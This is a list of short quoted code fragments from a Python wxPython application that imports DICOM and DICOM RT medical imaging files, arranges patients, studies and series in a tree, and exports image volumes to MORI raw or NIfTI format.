"iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add(",
"di = float(dp.ds.PixelSpacing[0]) dj = float(dp.ds.PixelSpacing[1]) orientation = dp.ds.ImageOrientationPatient dk = float(dp.ds.SliceThickness) m",
"length, message): \"\"\"Update the DICOM Import process interface elements.\"\"\" if not length: percentDone",
"pat_ori, pat_pos = np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition study_date, serise_date, acq_date = dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate",
"not exists! Create new dir [%s]\", self.output_dir) os.makedirs(self.output_dir) all_export_threads = [] for export",
"image array...') image_array = np.transpose(image_array, (1,0,2)) if self.export_mori_format: from utils_cw import write_mori, get_mori_header_fields",
"dirs, filenames in os.walk(path): files += map(lambda f:os.path.join(root, f), filenames) if (self.import_search_subfolders ==",
"= dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] = dose # Otherwise it is a currently unsupported file",
"dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 6) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray)",
"not (dp.GetSOPClassUID() == 'rtdose')): if not 'images' in patient: patient['images'] = [] patient['images'].append(dp.ds)",
"False break # Also test ImagePositionPatient, as some series # use the same",
"= self.tcPatients.AppendItem(study['treeid'], name, 4) filearray = [structure['filename']] self.EnableItemSelection(patient, structure, filearray) # Search for",
"in cGy. import hashlib, os, threading, functools, json, warnings from logging import getLogger,",
"use incorrect StudyInstanceUIDs if not (dp.GetSOPClassUID() == 'rtdose'): stinfo = dp.GetStudyInfo() if not",
"# Show the dialog and return the result ret = dlgDicomImporter.ShowModal() # Save",
"a new patient to the tree control.\"\"\" # Create a hash for each",
"check to see whether there is an rxdose if not (self.tcPatients.GetItemData(item) == None):",
"XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders = XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel = XRCCTRL(self, 'lblProgressLabel') self.lblProgress = XRCCTRL(self,",
"\": \" if dose['beam'] in plan['beams']: b = plan['beams'][dose['beam']] name += b['name'] if",
"in enumerate(patient_data['images']): dp = dicomparser.DicomParser(img) intercept, slope = dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array = dp.ds.pixel_array",
"If no referenced rtss, but ref'd rtplan, check rtplan->rtss if 'rtplan' in item:",
"dp.ds.PatientOrientation, dp.ds.PatientPosition study_date, serise_date, acq_date = dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel > 1)",
"'plans' in patient: for planid, plan in patient['plans'].items(): foundplan = False if (planid",
"planid, plan in patient['plans'].items(): foundstructure = False planname = ' (' + plan['name']",
"Set not found\", 7) plan['treeid'] = self.tcPatients.AppendItem(badstructure, name, 5) self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray =",
"XRCCTRL(self, 'lblRxDoseUnits') # Bind interface events to the proper methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport'))",
"[float(orientation[1])*di, float(orientation[4])*dj, 0, 0], [float(orientation[2])*di, float(orientation[5])*dj, dk, 0], [0, 0, 0, 1]], dtype=np.float)",
"= dp.ds.SeriesInstanceUID plan['referenceframe'] = dp.GetFrameOfReferenceUID() plan['beams'] = dp.GetReferencedBeamsInFraction() plan['rtss'] = dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] =",
"9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading DICOM data...', '')) #Added by",
"if the path is valid if os.path.isdir(path): files = [] for root, dirs,",
"RT plan or RT dose file self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT Plan') or self.tcPatients.GetItemText(parent).startswith('RT Plan')):",
"configure conf = {} with open('.dcmconverter.conf', 'w') as f: conf['path'] = dlgDicomImporter.path conf['only_export_voldata']",
"parallel # by testing for differences in ImageOrientationPatient parallel = True for i,",
"'image' if series['numimages']==1 else 'images') #name = 'Series: ' + series['description'] + '",
"json.load(f) self.path = conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata = conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num = conf['min_slice_num']",
"wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG))",
"patient. Please wait...','Exporting patient cancelled.','Exporting patient...'] wx.CallAfter(progressFunc, -1, 100, msgs[0]) for n in",
"else: percentDone = int(100 * (num+1) / length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if not",
"files += map(lambda f:os.path.join(root, f), filenames) if (self.import_search_subfolders == False): break for n",
"'info':item}) else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self, evt): \"\"\"Update",
"AddPatientTree(self, patient): \"\"\"Add a new patient to the tree control.\"\"\" # Create a",
"patients[h]['series'][seinfo['id']]['numimages'] + 1 patients[h]['images'][image['id']] = image # Create each RT Structure Set elif",
"False if 'structures' in patient: for structureid, structure in patient['structures'].items(): foundstructure = False",
"'spin_offset').GetValue()) self.export_mori_format = XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format = XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir = '' self.output_name",
"n, len(files), 'Searching for patients...') if (len(patients) == 0): progressStr = 'Found 0",
"= 'RT Dose not found' baddose = self.tcPatients.AppendItem(plan['treeid'], name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #",
"'structures' in patient: for structureid, structure in patient['structures'].items(): if 'series' in patient: foundseries",
"functools, json, warnings from logging import getLogger, DEBUG, INFO logger = getLogger('DcmConverter') import",
"evt): self.OnDirectorySearch() def OnPause(self, evt): self.terminate = True def OnSpinOffset(self, evt): self.offset =",
"self.tcPatients.AppendItem(self.root, name, 1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def AddPatientDataTree(self, patients): \"\"\"Add the patient data to",
"[ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine = self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital, kvp, model_name = dp.ds.ConvolutionKernel,",
"dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName img_ori, pat_ori, pat_pos = np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition study_date, serise_date, acq_date",
"\\ images[1].InstanceNumber): sort = 'InstanceNumber' # Otherwise sort by Acquisition Number elif not",
"add a fake rtss to it foundseries = False for seriesid, series in",
"without Dose Grid or DVH' if (dose['summationtype'] == \"BEAM\"): name += \" (Beam",
"modality, series['numimages'], 'image' if series['numimages']==1 else 'images') #name = 'Series: ' + series['description']",
"self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients')) #added",
"in patient['images'].items(): appendImage = False # used for image series if 'id' in",
"= XRCCTRL(self, 'lblProgressLabel') self.lblProgress = XRCCTRL(self, 'lblProgress') self.gaugeProgress = XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent =",
"select(child, flag): if flag: self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child, 3) def minslice_check(child): info",
"self.txtDicomImport.SetValue(self.path) self.only_export_voldata = conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num = conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset =",
"not (images[0].AcquisitionNumber == \\ images[1].AcquisitionNumber): sort = 'AcquisitionNumber' # Add the sort descriptor",
"getLogger, DEBUG, INFO logger = getLogger('DcmConverter') import wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from wx.xrc import",
"= self.tcPatients.AppendItem( structure['treeid'], \"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 6)",
"= dlgDicomImporter.only_export_voldata conf['min_slice_num'] = dlgDicomImporter.min_slice_num conf['offset'] = dlgDicomImporter.offset conf['export_mori_format'] = dlgDicomImporter.export_mori_format conf['export_nii_format'] =",
"= XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients = XRCCTRL(self, 'tcPatients') self.bmpRxDose = XRCCTRL(self, 'bmpRxDose') self.lblRxDose =",
"image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated == 8: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns,",
"image['id'] = dp.GetSOPInstanceUID() image['filename'] = files[n] image['series'] = seinfo['id'] image['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages']",
"is None: return # Existence check if self.export_mori_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'LabFormat') if",
"np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]) pos = [] for i, img in enumerate(patient_data['images']): dp =",
"= evt.GetPath() def OnInputName(self, evt): self.output_name = evt.GetString() def AlertDialog(self, msg): dialog =",
"the directions label font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font)",
"float(dp.ds.PixelSpacing[0]) dj = float(dp.ds.PixelSpacing[1]) orientation = dp.ds.ImageOrientationPatient dk = float(dp.ds.SliceThickness) m = np.array(",
"if 'studies' in patient: for studyid, study in patient['studies'].items(): name = 'Study: '",
"evt.IsChecked() def OnCheckNiftiFormat(self, evt): self.export_nii_format = evt.IsChecked() def OnPickOutdir(self, evt): self.output_dir = evt.GetPath()",
"return if (os.path.isfile(files[n])): try: logger.debug(\"Reading: %s\", files[n]) dp = dicomparser.DicomParser(files[n]) except (AttributeError, EOFError,",
"os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname = os.path.join(out_dir, os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed! Continue?') if self.contiune_export",
"'RT Structure Set: ' + structure['label'] for seriesid, series in patient['series'].items(): foundseries =",
"series['numimages'], 'image' if series['numimages']==1 else 'images') #name = 'Series: ' + series['description'] +",
"self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) # if set to hide, reset the rx dose if not",
"dialog.ShowModal() dialog.Destroy() def ChoiceDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export =",
"evt): self.offset = evt.GetPosition() def OnCheckVolFlag(self, evt): self.only_export_voldata = evt.IsChecked() try: self.Check_Export_Files() except:",
"def __GetNiftiAffineMatrix__(self, dp): di = float(dp.ds.PixelSpacing[0]) dj = float(dp.ds.PixelSpacing[1]) orientation = dp.ds.ImageOrientationPatient dk",
"if patient_data is None: return # Existence check if self.export_mori_format: out_dir = os.path.join(os.path.dirname(out_basepath),",
"RT files.\"\"\" def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") # Load the XRC file for our gui",
"in patient: for planid, plan in patient['plans'].items(): foundplan = False if (planid ==",
"def ExportFunc(self, out_basepath, patient_data, progressFunc=None): if patient_data is None: return # Existence check",
"not guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) # Initialize controls self.txtDicomImport = XRCCTRL(self, 'txtDicomImport') self.btnDicomImport = XRCCTRL(self,",
"to the study if not foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set",
"of the directions label font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font)",
"message): \"\"\"Update the DICOM Import process interface elements.\"\"\" if not length: percentDone =",
"elif 'PatientOrientation' in field: f.write('{} {}\\r'.format(field,pat_ori)) elif 'ImageOrientation' in field: f.write('{} {}\\r'.format(field,img_ori.tolist())) elif",
"patients[h]['series']: patients[h]['series'][seinfo['id']] = seinfo if not 'images' in patients[h]: patients[h]['images'] = {} image",
"dose to the structure/study instead if not foundplan: if dose['hasgrid']: if dose['hasdvh']: name",
"= dlgDicomImporter.export_nii_format conf['output_dir'] = dlgDicomImporter.output_dir conf['output_name'] = dlgDicomImporter.output_name json.dump(conf, f, indent=2, sort_keys=True) #",
"self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.') def OnSpinSliceNum(self, evt): self.min_slice_num =",
"in field: f.write('{} {:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin' in field: f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd' in",
"If no plans were found, add the dose to the structure/study instead if",
"if (n == 0): patient = {} patient['rxdose'] = RxDose if (('ImageOrientationPatient' in",
"sortedimages.append(image) # Save the images back to the patient dictionary logger.debug('Slices num: %d',",
"is a currently unsupported file else: logger.info(\"%s is a %s file and is",
"Check_Export_Files(self): def select(child, flag): if flag: self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child, 3) def",
"to be shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # Start the directory search as soon",
"exists! Create new dir [%s]\", self.output_dir) os.makedirs(self.output_dir) all_export_threads = [] for export in",
"enumerate(images): if (i > 0): iop0 = np.array(item.ImageOrientationPatient) iop1 = np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0",
"conf['export_nii_format'] = dlgDicomImporter.export_nii_format conf['output_dir'] = dlgDicomImporter.output_dir conf['output_name'] = dlgDicomImporter.output_name json.dump(conf, f, indent=2, sort_keys=True)",
"in field: f.write('{} {}\\r'.format(field,model_name)) elif 'PatientPosition' in field: f.write('{} {}\\r'.format(field,pat_pos)) elif 'PatientOrientation' in",
"dicomparser.DicomParser(patient_data['images'][0]) reso = [ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine = self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital, kvp,",
"by default self.import_search_subfolders = True # Set the threading termination status to false",
"'spin_minslices').GetValue()) self.offset = int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format = XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format = XRCCTRL(self, 'check_nifti').IsChecked()",
"'picker_output').SetPath(self.output_dir) self.output_name = conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else: self.path = os.path.expanduser('~') self.only_export_voldata = XRCCTRL(self,",
"add the specific item to the tree for key, patient in self.patients.items(): patient.update(patients[key])",
"if it is an RT plan or RT dose file self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT",
"[] patient['images'].append(dp.ds) elif (dp.ds.Modality in ['RTSTRUCT']): patient['rtss'] = dp.ds elif (dp.ds.Modality in ['RTPLAN']):",
"= dp.GetSOPInstanceUID() structure['filename'] = files[n] structure['series'] = dp.GetReferencedSeries() structure['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] =",
"wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root = self.tcPatients.AddRoot('Patients', image=0) return root def",
"'spin_offset').SetValue(self.offset) self.export_mori_format = conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format = conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir =",
"dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose with DVH' else: name = 'RT",
"license. # See the file license.txt included with this distribution, also # available",
"49, 100, msgs[2]) if exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc, 99, 100, '') def GetPatient(self):",
"Grid or DVH' foundstructure = False if 'structures' in patient: for structureid, structure",
"and DICOM RT files.\"\"\" def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") # Load the XRC file for",
"dose if 'referenceframe' in item: if (item['referenceframe'] == image['referenceframe']): if not 'numimages' in",
"== structure['series']): structure['treeid'] = self.tcPatients.AppendItem(series['treeid'], name, 4) foundseries = True # If no",
"8) self.tcPatients.SetItemTextColour(badplan, wx.RED) name = 'RT Dose not found' baddose = self.tcPatients.AppendItem(badplan, name,",
"str(dose['beam']) + \": \" if dose['beam'] in plan['beams']: b = plan['beams'][dose['beam']] name +=",
"the respective rtplan files to the filearray if they exist if 'plans' in",
"99, 100, '') def GetPatient(self): \"\"\"Return the patient data from the DICOM importer",
"in patient: for structureid, structure in patient['structures'].items(): foundstructure = False if 'rtss' in",
"structure/study instead if not foundplan: if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose",
"to the array based on the sorted order for s, slice in enumerate(sortednums):",
"th in all_export_threads] # wait all threads #self.AlertDialog('All exports finished!') def OnCheckSearchSubfolders(self, evt):",
"cGy. import hashlib, os, threading, functools, json, warnings from logging import getLogger, DEBUG,",
"Continue?') if self.contiune_export != wx.ID_OK: return if self.export_nii_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if",
"patients[h]: patients[h]['doses'] = {} dose = {} dose['id'] = dp.GetSOPInstanceUID() dose['filename'] = files[n]",
"= plan['rxdose'] if plan['rxdose'] > 0 else \"Unknown\" name = 'RT Plan: '",
"hide the prescription dose message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) # if set to",
"self.tcPatients.GetFirstChild(first_patient)[0] child, cookie = self.tcPatients.GetFirstChild(first_study) while child.IsOk(): if self.only_export_voldata: title = self.tcPatients.GetItemText(child) flag",
"subfolders, terminate, progressFunc, foundFunc, resultFunc): \"\"\"Thread to start the directory search.\"\"\" # Call",
"patient: patient['images'] = [] patient['images'].append(dp.ds) elif (dp.ds.Modality in ['RTSTRUCT']): patient['rtss'] = dp.ds elif",
"os.path.join(out_dir, os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return if",
"been selected!') return if not self.output_dir: self.AlertDialog('Please enter valid output dir!') return if",
"Init variables if os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous configuration...') with open('.dcmconverter.conf', 'r') as f: conf",
"data: rxdose = data['rxdose'] else: parentdata = self.tcPatients.GetItemData(parent) if not (parentdata == None):",
"in patients[h]: patients[h]['images'] = {} image = {} image['id'] = dp.GetSOPInstanceUID() image['filename'] =",
"#self.OnDirectorySearch() def OnDirectorySearch(self): \"\"\"Begin directory search.\"\"\" self.patients = {} self.tcPatients.DeleteChildren(self.root) self.terminate = False",
"patient position for every slice ipp0 = np.array(item.ImagePositionPatient) ipp1 = np.array(images[i-1].ImagePositionPatient) if not",
"# Also test ImagePositionPatient, as some series # use the same patient position",
"nibabel as nib logger.info('Exporting image to %s', nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname) wx.CallAfter(progressFunc, 98,",
"patient: for structureid, structure in patient['structures'].items(): if 'series' in patient: foundseries = False",
"9) self.tcPatients.SetItemTextColour(baddose, wx.RED) # No RT Plan nor RT Dose files were found",
"shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # Start the directory search as soon as the",
"\"\"\"Get the data of the selected patient from the DICOM importer dialog.\"\"\" msgs",
"\"Unknown\" name = 'RT Plan: ' + plan['label'] + planname + \\ '",
"will Import DICOM and DICOM RT files.\"\"\" def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") # Load the",
"self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.') def OnCheckMoriFormat(self, evt): self.export_mori_format =",
"Nifti image completed') def OnConvert(self, evt): if not self.selected_exports: self.AlertDialog('No Dicom series have",
"structure['filename'] = files[n] structure['series'] = dp.GetReferencedSeries() structure['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] = structure #",
"patient['structures'].items(): if 'series' in patient: foundseries = False name = 'RT Structure Set:",
"elif dp.ds.BitsAllocated == 32: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated == 8:",
"dp.ds.Modality in ['RTPLAN']: if not 'plans' in patients[h]: patients[h]['plans'] = {} plan =",
"there is an image series, add a fake rtss to it foundseries =",
"patients...') if (len(patients) == 0): progressStr = 'Found 0 patients.' elif (len(patients) ==",
"self.root = self.InitTree() # Initialize the patients dictionary self.patients = {} # Search",
"add the dose to the structure/study instead if not foundplan: if dose['hasgrid']: if",
"dicomparser.DicomParser(dcmfile) if (n == 0): patient = {} patient['rxdose'] = RxDose if (('ImageOrientationPatient'",
"# Create each RT Plan elif dp.ds.Modality in ['RTPLAN']: if not 'plans' in",
"elif 'AcquisitionDate' in field: f.write('{} {}\\r'.format(field,acq_date)) elif 'Orientation' in field: f.write('{} {}\\r'.format(field,'LPF')) elif",
"dcm info error!') seinfo['numimages'] = 0 seinfo['modality'] = dp.ds.SOPClassUID.name if not seinfo['id'] in",
"6) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray, rxdose) # If no plans were",
"image['series']): appendImage = True # used for RT plan / dose if 'referenceframe'",
"== image['referenceframe']): if not 'numimages' in item: appendImage = True if appendImage: filearray.append(image['filename'])",
"import nibabel as nib logger.info('Exporting image to %s', nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname) wx.CallAfter(progressFunc,",
"dp.GetFrameOfReferenceUID() plan['beams'] = dp.GetReferencedBeamsInFraction() plan['rtss'] = dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] = plan # Create each",
"for structureid, structure in patient['structures'].items(): if 'rtss' in item: if (structureid == item['rtss']):",
"importer dialog.\"\"\" msgs = ['Scanning patient. Please wait...','Exporting patient cancelled.','Exporting patient...'] wx.CallAfter(progressFunc, -1,",
"files[n] structure['series'] = dp.GetReferencedSeries() structure['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] = structure # Create each",
"= dp.GetReferencedSeries() structure['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] = structure # Create each RT Plan",
"= XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir = '' self.output_name = '' # Set the dialog",
"list to be sorted for i, image in enumerate(images): if (sort == 'IPP'):",
"if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): seinfo = dp.GetSeriesInfo()",
"= wx.DirDialog( self, defaultPath = self.path, message=\"Choose a directory containing DICOM RT files...\")",
"utf-8 -*- # dicomgui.py \"\"\"Main app file that convert DICOM data via a",
"each RT Structure Set elif dp.ds.Modality in ['RTSTRUCT']: if not 'structures' in patients[h]:",
"'series' in patient: foundseries = False name = 'RT Structure Set: ' +",
"AcquisitionNumber) if 'images' in patient: sortedimages = [] unsortednums = [] sortednums =",
"self.tcPatients.AppendItem( badstructure, \"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 5) self.tcPatients.SetItemTextColour(badplan,",
"structure['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] = structure # Create each RT Plan elif dp.ds.Modality",
"+ patient['id'] + ')' self.patients[h]['treeid'] = \\ self.tcPatients.AppendItem(self.root, name, 1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def",
"or self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True) def EnableRxDose(self, value): \"\"\"Show or hide the prescription dose",
"data to the tree control.\"\"\" # Now add the specific item to the",
"self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree)) self.t.start() def SetThreadStatus(self): \"\"\"Tell the directory search thread",
"for use.\"\"\" iSize = (16,16) iList = wx.ImageList(iSize[0], iSize[1]) iList.Add( wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG))",
"plan in patient['plans'].items(): if 'rtplan' in item: if (planid == item['rtplan']): filearray.append(plan['filename']) if",
"map(lambda f:os.path.join(root, f), filenames) if (self.import_search_subfolders == False): break for n in range(len(files)):",
"= dp.ds.PixelSpacing seinfo['Orientation'] = dp.ds.ImageOrientationPatient except: logger.error('Get dcm info error!') seinfo['numimages'] = 0",
"directory selected by the user.\"\"\" self.terminate = True dlg = wx.DirDialog( self, defaultPath",
"self.EnableRxDose(False) # If a previous search thread exists, block until it is done",
"= os.path.expanduser('~') self.only_export_voldata = XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num = int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset = int(XRCCTRL(self,",
"update the gui wx.CallAfter(progressFunc, 0, 0, 'Searching for patients...') patients = {} #",
"else: if 'structures' in patient: for structureid, structure in patient['structures'].items(): if 'plans' in",
"open('.dcmconverter.conf', 'w') as f: conf['path'] = dlgDicomImporter.path conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata conf['min_slice_num'] = dlgDicomImporter.min_slice_num",
"evt.IsChecked() self.terminate = True self.OnDirectorySearch() def OnBrowseDicomImport(self, evt): \"\"\"Get the directory selected by",
"self.patients = {} self.tcPatients.DeleteChildren(self.root) self.terminate = False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) # Disable",
"and images if 'series' in patient: for seriesid, series in patient['series'].items(): if 'studies'",
"self.terminate = True dlg = wx.DirDialog( self, defaultPath = self.path, message=\"Choose a directory",
"while child.IsOk(): if self.only_export_voldata: title = self.tcPatients.GetItemText(child) flag = 'vol' in title.lower() and",
"vendors use incorrect StudyInstanceUIDs if not (dp.GetSOPClassUID() == 'rtdose'): stinfo = dp.GetStudyInfo() if",
"for our gui resources self.res = XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter = self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res) #",
"OnSpinSliceNum(self, evt): self.min_slice_num = evt.GetPosition() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree",
"slope + intercept + self.offset image_array[:,:,i] = rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating image",
"instead if not foundplan: if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose with",
"\" - Dose: \" + str(int(b['dose'])) + \" cGy\" rxdose = int(b['dose']) dose['treeid']",
"instead if not foundstructure: # If there is an image series, add a",
"= 'IPP' else: # Otherwise sort by Instance Number if not (images[0].InstanceNumber ==",
"self.EnableItemSelection(patient, dose, filearray) # No RT Dose files were found else: if 'structures'",
"the progress bar until it needs to be shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) #",
"not h in patients: patients[h] = {} patients[h]['demographics'] = patient if not 'studies'",
"== None): if 'rxdose' in parentdata: rxdose = parentdata['rxdose'] # Show the rxdose",
"if no rxdose was found # and if it is an RT plan",
"used for RT plan / dose if 'referenceframe' in item: if (item['referenceframe'] ==",
"Import Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal() def OnUpdateProgress(self, num, length, message): \"\"\"Update the DICOM Import",
"released under a BSD license. # See the file license.txt included with this",
"if (sort == 'IPP'): if (slice == image.ImagePositionPatient[2]): sortedimages.append(image) elif (slice == image.data_element(sort).value):",
"plan['name'] + ')' if len(plan['name']) else \"\" rxdose = plan['rxdose'] if plan['rxdose'] >",
"pass else: f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc, 97, 100, 'Export RAW image completed') if self.export_nii_format:",
"'rtplan' in item: if (planid == item['rtplan']): filearray.append(plan['filename']) if not rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray,",
"found' badplan = self.tcPatients.AppendItem(structure['treeid'], name, 8) self.tcPatients.SetItemTextColour(badplan, wx.RED) name = 'RT Dose not",
"name, 6) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray, rxdose) # If no plans",
"location.') dlg = wx.MessageDialog( parent, \"The DICOM import location does not exist. Please",
